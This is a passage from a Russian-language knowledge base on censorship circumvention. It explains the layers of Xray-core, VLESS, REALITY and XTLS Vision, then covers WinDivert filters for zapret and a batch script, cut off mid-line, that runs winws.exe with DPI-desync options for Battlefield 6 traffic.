Encryption]] — шифрование самого VLESS: прячет UUID и адреса назначения от CDN и открывает Vision поверх XHTTP - [[xray/vless-stack-map|Слои VLESS-стека]] — матрица: какие сочетания транспорта, `security`, `flow` и `encryption` работают - [[xray/reality|REALITY]] — слой безопасности, с которым XHTTP работает через CDN - [[xray/xtls-vision|XTLS и Vision]] — альтернативный подход (прямой TLS вместо HTTP-маскировки) - [[xray/project-x|Project X (Xray-core)]] — обзор проекта и всех технологий - 🔗 [transport/internet/splithttp](https://github.com/XTLS/Xray-core/tree/main/transport/internet/splithttp) — исходный код транспорта --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/xray/xhttp.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: 2026-08-20 tags: - xray - vless - reality - proxy - обзор-раздела aliases: - Xray раздел - Xray-core обзор - VLESS REALITY XTLS что это - Иксрей прокси --- # 🛰️ Xray, VLESS и REALITY — раздел > [!info] О чём раздел > Раздел о **Project X**: ядре **Xray-core** и его протоколах — VLESS, XTLS/Vision, REALITY, XHTTP, — на которых сегодня работает большинство прокси-серверов для обхода блокировок. От истории проекта до побайтового устройства каждого слоя. ## Как читать раздел **Знакомство — что это и откуда:** - [[xray/project-x|Project X (Xray-core): что за проект и откуда взялся]] — обзорная точка входа. - [[xray/authors-v2ray-xray|Кто стоит за V2Ray и Xray]] — Victoria Raymond, Darien Raymond и RPRX: разбор частого вопроса про авторов. - [[xray/v2fly-vs-xray|v2fly/v2ray-core против XTLS/Xray-core]] — чем отличаются два ядра, сравнение по исходному коду. **Протоколы и слои:** - [[xray/vless|Протокол VLESS]] — устройство и возможности транспортного протокола. - [[xray/vless-stack-map|Слои VLESS-стека]] — кто за что отвечает: `type`, `security`, `flow`, `encryption` и сам протокол — пять разных слоёв одной ссылки. - [[xray/xtls-vision|XTLS и Vision]] — что это и чем отличается от VLESS и REALITY. - [[xray/reality|REALITY]] — как прокси прикрывается настоящим чужим сайтом вместо своего TLS-сертификата. - [[xray/vless-encryption|VLESS Encryption]] — собственное постквантовое шифрование протокола (с сентября 2025). - [[xray/xhttp|XHTTP]] — транспорт, притворяющийся обычным веб-трафиком (бывший SplitHTTP). **Практика:** - [[xray/clients-and-routing|Клиенты и маршрутизация: как подключиться к VLESS-серверу]] — для пользователя без опыта, с телефона и компьютера. - [[xray/routing|Маршрутизация в Xray]] — как трафик распределяется по outbound на сервере и в клиенте. ## 📚 См. также - [[VLESS/dpi-tls-june-2026|Как DPI «замораживает» VLESS+REALITY]] — взгляд со стороны цензора - [[sing-box/sing-box|Раздел sing-box]] — соседняя платформа, реализующая те же протоколы --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование доступно в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/xray/xray.md) · [скачать весь репозиторий одним zip-архивом](https://git.zapret.moe/zapretdiscordyoutube/todo/archive/main.zip). --- --- date: 2026-07-17 tags: - xray - xtls - vision - vless - reality - censorship aliases: - XTLS - XTLS-Vision - xtls-rprx-vision - Vision link: https://github.com/XTLS/Xray-core/blob/main/proxy/proxy.go --- # 🎯 XTLS и Vision: что это и чем отличается от VLESS и REALITY > [!info] О чём заметка > Разбор того, что такое **XTLS** и режим **Vision** (`xtls-rprx-vision`) в [[xray/project-x|Xray-core]], и — главное — чем они отличаются от протокола [[xray/vless|VLESS]] и от [[xray/reality|REALITY]]. Частый вопрос: «XTLS, Vision, REALITY — это одно и то же или разные вещи?». Короткий ответ: **разные вещи на разных уровнях**, которые обычно работают вместе. Разбор основан на чтении исходного кода `proxy/proxy.go` (файл, где живёт вся механика Vision). ## TL;DR - **VLESS**, **XTLS** и **REALITY** — это **три разные вещи на трёх разных уровнях**, а не синонимы: - **VLESS** — *протокол* (что переносим): переносит UUID-аутентификацию и опции. - **XTLS / Vision** — *flow-режим* (как оптимизируем поток): убирает двойное шифрование «TLS-in-TLS» и маскирует длины пакетов. - **REALITY** — *слой безопасности* (чем шифруем снаружи): замена TLS, маскирующая сервер под чужой сайт. - **XTLS — это НЕ шифр и не протокол.** Это механизм управления потоком (flow-control) *поверх уже установленного* TLS или REALITY. - **Vision** (`xtls-rprx-vision`) — единственный живой режим XTLS на 2026 год. Три старых поколения (`origin` → `direct` → `splice`) удалены из кода в версии v1.8.0 (март 2023); `splice` при этом сохранён как внутренняя оптимизация Vision, а не отдельный flow. - **Причина замены — не «дыра», а детект.** Отдельной уязвимости (CVE) на старые режимы нет; их вытеснили, потому что они не маскировали вложенное TLS-рукопожатие (TLS-in-TLS), а Vision маскирует длины первых пакетов. - **Vision — не невидимость.** Работа USENIX Security 2024 называет `xtls-rprx-vision` поимённо как схему, которую детектор вложенного хендшейка обходит: паддинг прячет длины пакетов, но не форму трафика в целом. - Рабочая связка выглядит так: **VLESS + `flow=xtls-rprx-vision` + `security=reality` (или `tls`)** — три независимые оси, которые комбинируются. - С сентября 2025 привязка Vision к прямому TCP перестала быть жёсткой: при включённом [[xray/vless-encryption|VLESS Encryption]] Vision работает поверх любого транспорта, включая [[xray/xhttp|XHTTP]], WebSocket и gRPC. Ядерный `splice` при этом остаётся привилегией прямого TCP — полная матрица в [[xray/vless-stack-map|карте слоёв]]. ## Три уровня: почему это не синонимы Самая частая путаница — считать VLESS, XTLS и REALITY названиями одного и того же. На деле это три ортогональных (независимых) слоя, каждый отвечает за свою задачу. В коде Xray они и разнесены по разным местам: VLESS живёт в `proxy/vless/`, механика Vision — в `proxy/proxy.go`, REALITY — в `transport/internet/reality/`. | Слой | Что это | За что отвечает | Значение в конфиге | |---|---|---|---| | **VLESS** | Протокол | Аутентификация (UUID) и маршрутизация | `protocol: vless` | | **XTLS / Vision** | Flow-режим | Убрать TLS-in-TLS, спрятать длины пакетов | `flow: xtls-rprx-vision` | | **REALITY** | Слой безопасности | Шифрование + маскировка под чужой сайт | `security: reality` | Каждый из этих слоёв разобран в своей заметке: [[xray/vless|VLESS]], [[xray/reality|REALITY]] и сам XTLS/Vision — ниже. Проще говоря: представь посылку. **VLESS** — это адрес и подпись на посылке (кто отправитель, куда нести). **REALITY** — это упаковка, которая делает посылку неотличимой от чужой обычной коробки. **XTLS/Vision** — это правило «не заворачивать уже запечатанную коробку во вторую обёртку, а нести как есть». Три разные роли, и все три нужны одновременно. ## Три значения слова «XTLS» — не путать Само слово «XTLS» перегружено и означает разные вещи в зависимости от контекста. Из-за буквы «TLS» в названии его часто принимают за какой-то вариант шифрования — это неверно. Разведём три значения: | «XTLS» в смысле | Что это | Пример употребления | |---|---|---| | **Организация / сообщество** | GitHub-организация [github.com/XTLS](https://github.com/XTLS) — «зонтик» проекта [[xray/project-x\|Project X]]. Под ней живут репозитории Xray-core, REALITY, Xray-install и др. | «issue в репозитории XTLS», «команда XTLS» | | **Технология (flow-control)** | Механизм оптимизации потока `xtls-rprx-*`, который убирает двойное шифрование TLS-in-TLS. **Не шифрование** — работает поверх уже установленного TLS/REALITY. | «включить XTLS», `flow: xtls-rprx-vision` | | **Vision** (частный случай технологии) | Единственная живая реализация flow-механизма на 2026 год. | `xtls-rprx-vision` | Проще говоря: **XTLS-организация** — это кто пишет код (люди и репозитории), а **XTLS-технология** — это что именно они придумали (приём ускорения трафика). Одно и то же имя, два совершенно разных смысла. Дальше в этой заметке «XTLS» — везде про технологию, если явно не сказано «организация». > [!warning] XTLS ≠ шифрование, несмотря на «TLS» в названии > Ни в одном из значений XTLS не является шифром или отдельным протоколом шифрования. Организация XTLS разрабатывает разные технологии (в том числе [[xray/reality|REALITY]] — вот он как раз слой безопасности). А технология XTLS (flow-control) шифрованием не занимается вовсе — она лишь решает, как эффективнее передать **уже зашифрованный** кем-то другим поток. Путаница «XTLS — это такой особый TLS/шифр» — самая частая ошибка новичка. ## Что такое XTLS-технология (и почему это не шифрование) Ключевой факт, который снимает половину путаницы: **XTLS ничего не шифрует.** Шифрованием занимается слой ниже — TLS 1.3 или REALITY. XTLS — это механизм flow-control, который *наблюдает* за уже зашифрованным потоком и решает, как его эффективнее передать. Проблема, которую решает XTLS, — **«TLS-in-TLS» (двойное шифрование)**. Когда обычный прокси заворачивает пользовательский HTTPS-трафик (уже зашифрованный первым TLS) во второй TLS-туннель до сервера, получается вложенность: TLS внутри TLS. Это, во-первых, лишняя нагрузка на процессор, а во-вторых — характерная сигнатура, по которой DPI отличает прокси от обычного HTTPS (у вложенного TLS специфические размеры и тайминги записей). Идея XTLS: раз внутренний поток и так уже зашифрован настоящим TLS 1.3, после рукопожатия внешний слой можно **не шифровать повторно**, а передавать внутренние TLS-записи напрямую. В коде это отражено комментарием в `proxy/proxy.go`: `TrafficState ... is used by XTLS to determine if switch to raw copy mode` — то есть XTLS отслеживает соединение, чтобы понять, когда переключиться в режим «сырого копирования». ## Vision: как это работает в байтах **Vision** (`xtls-rprx-vision`) — конкретная и единственная сегодня реализация XTLS. Задаётся значением поля `flow` в VLESS. Технически это пара «обёрток» вокруг потока — `VisionReader` и `VisionWriter` в `proxy/proxy.go`, — которые делают две вещи. ### 1. Паддинг первых пакетов (сокрытие длин) Пока идёт TLS-рукопожатие, Vision добавляет к пакетам случайный **паддинг** (заполнитель) — функция `XtlsPadding`. Каждый блок получает короткий заголовок (до 21 байта: 16 байт UUID в самом первом пакете плюс 5 байт «команда + длина контента (2 байта) + длина паддинга (2 байта)»), а следом дописываются случайные байты. Цель — размыть характерные длины VLESS-заголовка и TLS-хендшейка, чтобы DPI не мог опознать прокси по размеру первых пакетов. В коде так и написано: «add padding to eliminate length signature during tls handshake». Пороги паддинга параметризованы массивом `testseed`, по умолчанию `{900, 500, 900, 256}`. Логика по коду: если содержимого меньше 900 байт (и включён длинный паддинг), блок добивается до `900 + случайное(0…500) − длина_контента` — то есть суммарно примерно **900–1400 байт**; иначе добавляется просто 0–255 случайных байт. Именно поэтому «магическое число ~900» реально: это одновременно и порог «короткого» контента, и базовое смещение длинного паддинга. > [!note] С декабря 2025 эти пороги можно менять, и у этого есть предыстория > До конца 2025 года числа `900 500 900 256` были жёстко зашиты и не менялись около трёх лет. Изменил это [PR #5270](https://github.com/XTLS/Xray-core/pull/5270) (влит 1 декабря 2025), добавивший сразу две настройки: **`testseed`** — те самые параметры паддинга, задаются и на клиенте, и на сервере; и **`testpre`** — «предварительное подключение» на стороне клиента, которое убирает задержку TCP-рукопожатия (в том числе 1-RTT у [[xray/vless-encryption|VLESS Encryption]]). Автор отдельно подчёркивает, что предварительное подключение годится только протоколам со свободным паддингом вроде Vision — у остальных оно само стало бы сильным признаком. > > Повод для появления `testseed` был вполне конкретный. В ноябре 2025 года, разбирая жалобы на блокировки у российских домашних провайдеров, RPRX предположил: «мне кажется, оператор нацелился на параметры padding в текущем коде Vision — можешь изменить их сам и пересобрать». Он сам называет это догадкой, а через два дня в [issue #5332](https://github.com/XTLS/Xray-core/issues/5332) признаёт, что неясно даже принципиальное — обучен ли фильтр как чёрный список по трафику Vision или как белый список по браузерному. Публичных результатов проверки этой гипотезы с тех пор не появилось: среди обсуждений, где упоминается `testseed`, речь идёт о реализации и конфигурации, но ни одного отчёта «поменял пороги — блокировка ушла» нет. Так что «Vision палится по своему паддингу» на сегодня остаётся непроверенным предположением, пусть и высказанным автором самого Vision. Зачем это нужно, понятнее на разборе первых пяти пакетов любого прокси-соединения с TLS-целью. Даже когда внешний TLS взломать нельзя, цензор может опознать прокси по **длинам** этих пакетов: 1. Прокси-клиент → прокси-сервер: «цель — Google, вот мой UUID» — очень короткий. 2. Прокси-сервер → прокси-клиент: «принял, отправляй данные» — очень короткий, почти фиксированный. 3. Браузер → цель: TLS ClientHello — короткий, почти единственная переменная — SNI. 4. Цель → браузер: TLS ServerHello + сертификат — длинный, сильно варьируется. 5. Браузер → цель: короткий. Короткие пакеты 1, 2, 3, 5 с очень узнаваемыми длинами — это и есть сигнатура. Vision решает проблему **прицельно**: не заваливает паддингом всё подряд (как наивное случайное заполнение), а по анализу внутреннего трафика **добивает именно характерные пакеты рукопожатия до диапазона примерно 900–1400 байт**. Так короткие служебные пакеты перестают выделяться, а где кончается служебная информация прокси и начинается полезный трафик — на проводе не видно. ### 2. Переход в прямое копирование (direct copy / splice) Как только Vision убеждается, что внутри туннеля пошёл настоящий TLS 1.3 Application Data (зашифрованные пользовательские данные), он отправляет специальную команду `CommandPaddingDirect` и **перестаёт паддить** — дальше поток передаётся напрямую, «разворачивая» соединение до сырого TCP. На Linux это доходит до настоящего **zero-copy через системный вызов `splice(2)`** (функция `CopyRawConnIfExist` в `proxy/proxy.go`): данные перекидываются между сокетами прямо в ядре, без копирования в память процесса и без повторного шифрования. Отсюда почти нулевой оверхед — Xray с Vision работает даже на слабых роутерах. > [!note] Как splice включается сейчас: машина состояний `CanSpliceCopy` > В отличие от старого поколения, где splice был отдельным flow, в современном коде это рантайм-решение через поле `CanSpliceCopy` (отдельно для inbound и каждого outbound). У него три значения: **2** — «кандидат» (Vision-поток, ждём подтверждения), **1** — splice разрешён и активен, **3** — splice запрещён навсегда. Соединение стартует в состоянии `2`; когда Vision-reader/writer убеждается, что пошёл настоящий Application Data, состояние переводится в `1`, и следующий цикл копирования уходит в ядерный `splice`. Реальный zero-copy включается, только когда и inbound, и все outbound-ы имеют `CanSpliceCopy == 1`. > > Splice **запрещается** (значение `3`) в нескольких случаях, прямо прописанных в коде: соединение через мультиплексор (Mux) — Vision сознательно «ломает» такие соединения; поверх слоя [[xray/vless-encryption|VLESS Encryption]], если выбран режим внешнего вида `random` (он оборачивает соединение в `XorConn`) или если под шифрованием лежит не «голый» TCP — проверка `IsRAWTransportWithoutSecurity`, которая не считает «голым» ни WebSocket с gRPC, ни TCP с надстроенным сверху TLS/REALITY; а также при пустом flow. Режим `xorpub`, в отличие от `random`, splice не ломает: он маскирует только публичные ключи внутри рукопожатия. То есть сплайсить сырой поток можно, только если под Vision действительно неприкрытый TCP. > [!note] Как Vision понимает, что внутри именно TLS 1.3 > Функция `XtlsFilterTls` разбирает первые пакеты по сигнатурам TLS-записей: ищет ServerHello (`16 03 03 ... 02`) и внутри него — расширение `supported_versions` со значением `03 04` (это и есть маркер TLS 1.3). Только при подтверждённом TLS 1.3 с подходящим шифром выставляется флаг `EnableXtls`, разрешающий уйти в direct copy. TLS 1.2 и слабый шифр `TLS_AES_128_CCM_8_SHA256` из этого режима исключены. ## Четыре поколения XTLS и почему остался только Vision XTLS — оригинальная разработка проекта Xray (автор — RPRX), и именно она долго была главным козырем Xray по производительности: способ не шифровать пользовательский трафик второй раз. Но за это «прошивание» потока пришлось заплатить обнаружимостью, и механизм пережил четыре поколения. Три ранних значения flow — `xtls-rprx-origin`, `xtls-rprx-direct`, `xtls-rprx-splice` — в актуальном коде Xray-core **удалены полностью**: поиск по этим строкам по всему репозиторию не находит ничего (кроме единственной строки-ошибки про «Legacy XTLS» в загрузчике конфига). В константах flow остались только `None` и `XRV = "xtls-rprx-vision"`. Что представляло собой каждое поколение (порядок появления — `origin` → `direct` → `splice` → `vision`): - **`xtls-rprx-origin`** — первое поколение XTLS. - **`xtls-rprx-direct`** — считался «теоретическим потолком производительности» XTLS, эталоном для остальных алгоритмов. - **`xtls-rprx-splice`** — Linux-оптимизация: zero-copy пересылка внешних TLS-записей прямо в ядре через системный вызов `splice(2)`, без прохождения данных через память Xray (позже расширена и на Android). Общая слабость всех трёх: они работали на уровне **TLS-записей** — «прорезали» или напрямую сплайсили сырые записи внешнего TLS, но **никак не маскировали характеристики вложенного (внутреннего) TLS-рукопожатия**. А именно по этому вложенному хендшейку прокси и детектируется (см. раздел «Границы Vision» ниже). Vision решает ту же задачу принципиально иначе: добавляет **случайный паддинг во внутренний хендшейк на прикладном уровне** (обфускация длины первых пакетов) и уходит в прямое копирование только после подтверждённого TLS 1.3 Application Data. `splice` при этом никуда не делся — он стал **внутренней автоматической оптимизацией** Vision (см. раздел про механику ниже), а не отдельным пользовательским flow. > [!warning] Не выдумка про «дыру»: почему на самом деле убрали старые режимы > В сообществе переход иногда объясняют «была уязвимость в origin/direct». Честнее так: отдельной нумерованной уязвимости (CVE или security advisory) именно на старые flow найти не удаётся. Реальный мотив — общая проблема детекта **TLS-in-TLS**: старые режимы не скрывали вложенный хендшейк, а Vision скрывает его лучше. (Отдельная известная слабость Xray к активному зондированию — issue #625 — на самом деле относилась к реализации Shadowsocks, а не к flow-режимам XTLS.) Так что «убрали, потому что взломали» — неточно; убрали, потому что подход устарел под давлением новых методов детекта. ### Хронология (по «Grand Chronicle» Project X) Датировка удаления старых режимов — по официальной летописи проекта и обсуждениям на GitHub: - **3 октября 2022** — анонс нового flow (будущий Vision): решает проблемы прежних flow, включает splice для TLS 1.3 напрямую, добавляет обфускацию длины TLS-хендшейка. - **29 октября 2022, v1.6.2** — первый релиз с Vision. - **8 февраля 2023, v1.7.5** — **последняя** версия, где ещё присутствуют Origin/Direct/Splice. При их использовании выводится предупреждение о депрекации с советом перейти на `xtls-rprx-vision`. - **9 марта 2023, v1.8.0** — старые flow **удалены**; Vision доработан (изменён алгоритм паддинга — версии Vision до и после несовместимы между собой) и вышел вместе с [[xray/reality|REALITY]]. Тренд продолжается: к 2025–2026 годам в Xray объявлен устаревшим уже и VLESS **вообще без flow** — его мигрируют на VLESS с Vision. > [!warning] Совместимость конфигов > Конфиг со старым flow (`xtls-rprx-direct` и т.п.) современный Xray-core загрузить не сможет — загрузчик отдаёт ошибку об удалённой фиче «Legacy XTLS» с советом использовать `xtls-rprx-vision with TLS or REALITY`. ## Границы Vision: честно о TLS-in-TLS Важно не переоценивать Vision. Он маскирует **длины первых пакетов** рукопожатия, но не делает прокси невидимым. Академическая работа **USENIX Security 2024** «Fingerprinting Obfuscated Proxy Traffic with Encapsulated TLS Handshakes» (Xue, Kallitsis, Houmansadr, Ensafi) описывает протокол-агностический детектор вложенного TLS-хендшейка и **называет `xtls-rprx-vision` поимённо** как схему, которая лишь незначительно затрудняет обнаружение. Причина: детектор смотрит не только на длины отдельных пакетов, но и на размеры «всплесков» трафика (bursts), тайминги, направление и число round-trip — а паддинг первых пакетов эти признаки не убирает. Детектор развёрнут на реальном интернет-провайдере на более чем миллион пользователей; по данным работы, обфусцированные прокси в стандартной конфигурации распознаются с высокой полнотой и очень низким уровнем ложных срабатываний. Проще говоря: Vision решает конкретную задачу — убрать характерную «сигнатуру длин» служебных пакетов прокси. Это закрывает целый класс простых детекторов, но не спасает от анализатора, который смотрит на форму трафика в целом. На практике это подтверждается сообщениями (форум [net4people/bbs](https://github.com/net4people/bbs), 2023–2025): в России фиксируют блокировки, срабатывающие не на length-сигнатуре, а на **поведении соединения** — например «тихая заморозка» после определённого объёма данных от зарубежного IP, когда триггером служит сам факт долгого TLS 1.3-соединения к подозрительному адресу, а не размеры первых пакетов. Такой детект Vision в принципе не обходит, потому что работает на другом уровне. Подробнее о поведенческих эвристиках DPI — в [[VLESS/dpi-tls-june-2026|DPI TLS heuristics 2026]]. > [!tip] Где Vision в общем стеке > Роли слоёв в связке принято разводить так (по обсуждениям XTLS): [[xray/reality|REALITY]] убирает почерк **серверного** TLS и прячет сервер за чужим сайтом; **Vision** убирает признак **TLS-in-TLS** (длины хендшейка); **uTLS** имитирует почерк **клиентского** TLS (например, Chrome). Ни один из слоёв не заменяет другой — каждый закрывает свой признак, и даже вместе они не дают стопроцентной невидимости. ## Ограничения Vision - **UDP не поддерживается напрямую.** Для UDP-команды в коде возвращается ошибка «xtls-rprx-vision doesn't support UDP». UDP-приложения при этом работают — их трафик уезжает через XUDP поверх мультиплексора. Отдельный вариант `xtls-rprx-vision-udp443` разрешает пропускать QUIC на порт 443; это значение только клиентское — суффикс отрезается перед отправкой, и сервер всегда видит обычный `xtls-rprx-vision`. - **Нужен внешний слой, который Vision умеет распознать.** Здесь важна дата: до сентября 2025 такими слоями были только TLS и REALITY поверх прямого TCP, и попытка обернуть Vision в WebSocket или gRPC давала ошибку «XTLS only supports TLS and REALITY directly for now». С появлением [[xray/vless-encryption|VLESS Encryption]] в цепочку проверок добавилась третья ветка, которая идёт **первой**: если соединение завёрнуто во внутреннее шифрование VLESS, Vision работает поверх любого транспорта. Сама строка ошибки из кода не убрана и стала последней веткой, поэтому читать её буквально сегодня нельзя. - **Нужен TLS 1.3.** Если внутренний слой договорился на TLS 1.2 (или согласовал шифр `TLS_AES_128_CCM_8_SHA256`), direct copy не включится: паддинг останется, а выигрыша splice не будет. - **Практически несовместим с mux.** Vision означает копирование 1-в-1 от клиентского соединения к целевому. Мультиплексор (mux) наоборот гонит несколько клиентских соединений через одно — и внутри такого объединённого потока Vision не может понять, куда какие байты относятся. Формального запрета в конфиге нет (через mux работает XUDP), но TCP-поток внутри mux при Vision **обрывает всё мультиплексированное соединение** — в коде это прокомментировано словами «we will break Mux connections that contain TCP requests». Плюс серверный mux-воркер безусловно выключает splice. - **Splice работает только в одну сторону.** Ядерное копирование включается для направления «сервер → клиент»; промоушен для восходящего потока в коде присутствует, но закомментирован пометкой «TODO: enable uplink splice». ## 📚 См. также - [[xray/vless|Протокол VLESS]] — протокол, в котором задаётся поле `flow` - [[xray/vless-stack-map|Слои VLESS-стека]] — матрица совместимости: какие сочетания транспорта, `security`, `flow` и `encryption` работают и где включается splice - [[xray/vless-encryption|VLESS Encryption]] — слой, который снял привязку Vision к прямому TCP - [[xray/reality|REALITY]] — слой безопасности, с которым Vision обычно работает в паре - [[xray/project-x|Project X (Xray-core)]] — обзор проекта, истории XTLS и всех технологий - [[xray/xhttp|XHTTP]] — альтернативный транспорт: Vision там доступен только вместе с VLESS Encryption - [[VLESS/dpi-tls-june-2026|DPI TLS heuristics 2026]] — как DPI детектит связку даже с Vision - 🔗 [proxy/proxy.go](https://github.com/XTLS/Xray-core/blob/main/proxy/proxy.go) — исходник механики Vision (TrafficState, XtlsPadding, XtlsFilterTls, CopyRawConnIfExist) - 🔗 [Руководство VLESS TCP REALITY (discussions #3518)](https://github.com/XTLS/Xray-core/discussions/3518) — подробный разбор механики Vision «на пальцах» - 🔗 [Project X «Grand Chronicle»](https://xtls.github.io/en/about/news.html) — официальная летопись: даты появления Vision (v1.6.2) и удаления старых flow (v1.8.0) - 🔗 [Xue et al., «Fingerprinting Obfuscated Proxy Traffic with Encapsulated TLS Handshakes», USENIX Security 2024](https://www.usenix.org/conference/usenixsecurity24/presentation/xue-fingerprinting) — детект TLS-in-TLS, где Vision назван недостаточным - 🔗 [net4people/bbs](https://github.com/net4people/bbs) — форум с репортами о реальных блокировках VLESS/Vision --- > [!quote] 🤖 Эти статьи открыты — можно обучать на них ИИ > При желании вы можете натренировать ИИ на наших статьях. Исходное форматирование и скачивание всего репозитория одним zip-архивом доступны в Forgejo: [исходник этой заметки](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main/xray/xtls-vision.md) · [весь репозиторий](https://git.zapret.moe/zapretdiscordyoutube/todo/src/branch/main). --- --- date: tags: link: aliases: img: --- # Внутренние фильтры WinDivert В `zapret\windivert.filter\*.txt` лежат WinDivert raw-фильтры — они отбирают пакеты по L3/L4 (ip/ipv6, tcp/udp, порты, inbound/outbound) и иногда по «сигнатурам» в payload. Доменного имени в IP‑пакетах нет, поэтому напрямую “по домену” в WinDivert‑фильтре обычно не фильтруют. *Не путать их со встроенными [[filter|фильтрами]] Zapret!* Домены: делаются на уровне winws/winws2 через [[hostlist|--hostlist]] / [[hostlist#**`--hostlist-domains`** - Фиксированный список доменов|--hostlist-domains]]. IP/подсети: можно фильтровать и в WinDivert‑фильтре (ip.DstAddr, ip.SrcAddr, ipv6.DstAddr, ipv6.SrcAddr), и (часто удобнее) через --ipset. --wf-raw-part в запрете (и --wf-raw) используют обычный язык фильтров WinDivert — это и есть “raw фильтр”. Подсети делать можно, но обычно через диапазон адресов, т.к. в WinDivert нет побитовых операций (маской “& 255.255.255.0” не сделать). Пример raw-part (исходящие на 80/443 TCP и 443 UDP, только в одну подсеть /24): ``` outbound and ip and ( (tcp and (tcp.DstPort == 80 or tcp.DstPort == 443)) or (udp and udp.DstPort == 443) ) and (ip.DstAddr >= 93.184.216.0 and ip.DstAddr <= 93.184.216.255) ``` Несколько подсетей — просто or: ``` outbound and ip and tcp and (tcp.DstPort == 443) and ( (ip.DstAddr >= 93.184.216.0 and ip.DstAddr <= 93.184.216.255) or (ip.DstAddr >= 151.101.0.0 and ip.DstAddr <= 151.101.255.255) ) ``` Шпаргалка по диапазонам: ``` A.B.C.0/24 -> >= A.B.C.0 и <= A.B.C.255 A.B.0.0/16 -> >= A.B.0.0 и <= A.B.255.255 ``` пример как у LAN: `172.16.0.0/12 -> 172.16.0.0...172.31.255.255` ## Зачем это нужно? Благодаря фильтрам можно добиться идеальной производительности даже если вы активно раздаете торренты ![[Pasted image 20260213230109.png]] Без фильтров иногда программе бывает тяжело ![[Pasted image 20260213230115.png]] --- ```embed title: "Battlefield 6 · Flowseal/zapret-discord-youtube · Discussion #5745" image: "https://opengraph.githubassets.com/e4236740a4a3953f34767b5641f5141dd2c78be032f2507bd47f55c095926036/Flowseal/zapret-discord-youtube/discussions/5745" description: "Хотел спросить может кто то смог при помощи нынешней версии все таки сделать мультиплеер новой батлы рабочим? если да то подскажите пожалуйста" url: "https://github.com/Flowseal/zapret-discord-youtube/discussions/5745" favicon: "https://github.githubassets.com/favicons/favicon-dark.svg" aspectRatio: "50" parser: "local" date: "2025-10-25" custom_date: "2025-10-25 17:01:22" ``` ```embed title: "Battlefield 6: Error Code 1:85008S:1786287170:-2146555144Q | EA Forums - 12736868" image: "" description: "Запускает в игру, подключаюсь к матчу, играю минуты 2 и вылезает данная ошибка, пробовал ребут пк и роутера, отключение zapret discord, пробовал заходить... - 12736868" url: "https://forums.ea.com/discussions/battlefield-6-technical-issues-ru/battlefield-6-error-code-185008s1786287170-2146555144q/12736868/replies/12740216" favicon: "https://forums.ea.com/t5/s/tghpe58374/m_assets/themes/customTheme1/EA_Medallion_Solid_B_RGB-1712076925703.png?time=1712076928158&image-dimensions=32x32" parser: "local" date: "2025-10-25" custom_date: "2025-10-25 17:02:02" ``` ```embed title: "BATTLEFIELD 6 РАБОЧИЙ ФИКС · Flowseal/zapret-discord-youtube · Discussion #5774" image: "https://opengraph.githubassets.com/f69ab900c40e3daab38375b93cac49997c30d81f749e11cb10dfb85feea757d7/Flowseal/zapret-discord-youtube/discussions/5774" description: "Спасибо доброму человеку. https://forums.ea.com/discussions/battlefield-6-technical-issues-ru/battlefield-6-error-code-185008s1786287170-2146555144q/12736868/replies/12740216 Для тех у кого не откр..." url: "https://github.com/Flowseal/zapret-discord-youtube/discussions/5774" favicon: "https://github.githubassets.com/favicons/favicon-dark.svg" aspectRatio: "50" parser: "local" date: "2025-10-25" custom_date: "2025-10-25 18:02:49" ``` ## zapret-bf ```embed title: "Release v1.8.5-BF · xModern54/zapret-bf" image: "https://opengraph.githubassets.com/35eba465e6224f40fccf7f9005d3756632bf70fd264f755a505ef898e6138c84/xModern54/zapret-bf/releases/tag/BF" description: "Добавлена поддержка battlefield 6" url: "https://github.com/xModern54/zapret-bf/releases/tag/BF" favicon: "" aspectRatio: "50" ``` ### battlefield.bat ```bat @echo off chcp 65001 > nul :: 65001 - UTF-8 cd /d "%~dp0" call service.bat status_zapret call service.bat check_updates call service.bat load_game_filter echo: set "BIN=%~dp0bin\" set "LISTS=%~dp0lists\" cd /d %BIN% start "zapret: %~n0" /min "%BIN%winws.exe" --wf-tcp=80,443,2053,2083,2087,2096,8443,%GameFilter% --wf-udp=443,19294-19344,50000-50100,%GameFilter% ^ --filter-tcp=80 --hostlist="%LISTS%list-general.txt" --dpi-desync=fake,split2 --dpi-desync-autottl=2 --dpi-desync-fooling=badseq --dpi-desync-badseq-increment=2 --new ^ --filter-tcp=443 --hostlist="%LISTS%list-general.txt" --dpi-desync=fake --dpi-desync-fake-tls-mod=none --dpi-desync-repeats=6 --dpi-desync-fooling=badseq --dpi-desync-badseq-increment=2 --new ^ --filter-udp=443 --hostlist="%LISTS%list-general.txt" --dpi-desync=fake --dpi-desync-repeats=11 --dpi-desync-fake-quic="%BIN%quic_initial_www_google_com.bin" --new ^ --filter-tcp=80 --ipset="%LISTS%ipset-all.txt" --dpi-desync=fake,split2 --dpi-desync-autottl=2 --dpi-desync-fooling=badseq --dpi-desync-badseq-increment=10000000 --new ^ --filter-tcp=443 --ipset="%LISTS%ipset-all.txt" --dpi-desync=fake --dpi-desync-fake-tls-mod=none --dpi-desync-repeats=6 --dpi-desync-fooling=badseq --dpi-desync-badseq-increment=10000000 --new ^ --filter-udp=443 --ipset="%LISTS%ipset-all.txt" --dpi-desync=fake --dpi-desync-repeats=11 --dpi-desync-fake-quic="%BIN%quic_initial_www_google_com.bin" --new ^ --filter-tcp=2053,2083,2087,2096,8443 --hostlist-domains=discord.media --hostlist-domains=discord.media --dpi-desync=fake --dpi-desync-fake-tls-mod=none --dpi-desync-repeats=6 --dpi-desync-fooling=badseq --dpi-desync-badseq-increment=2 --new ^ --filter-udp=19294-19344,50000-50100 --filter-l7=discord,stun --dpi-desync=fake --dpi-desync-repeats=6 --new ^ --filter-tcp=443,%GameFilter% --ipset="%LISTS%ipset-all.txt" --dpi-desync=fake --dpi-desync-fake-tls-mod=none --dpi-desync-repeats=6 --dpi-desync-fooling=badseq --dpi-desync-badseq-increment=10000000 --new ^ --filter-udp=%GameFilter% --ipset="%LISTS%ipset-all.txt" --dpi-desync=fake --dpi-desync-autottl=2 --dpi-desync-repeats=10 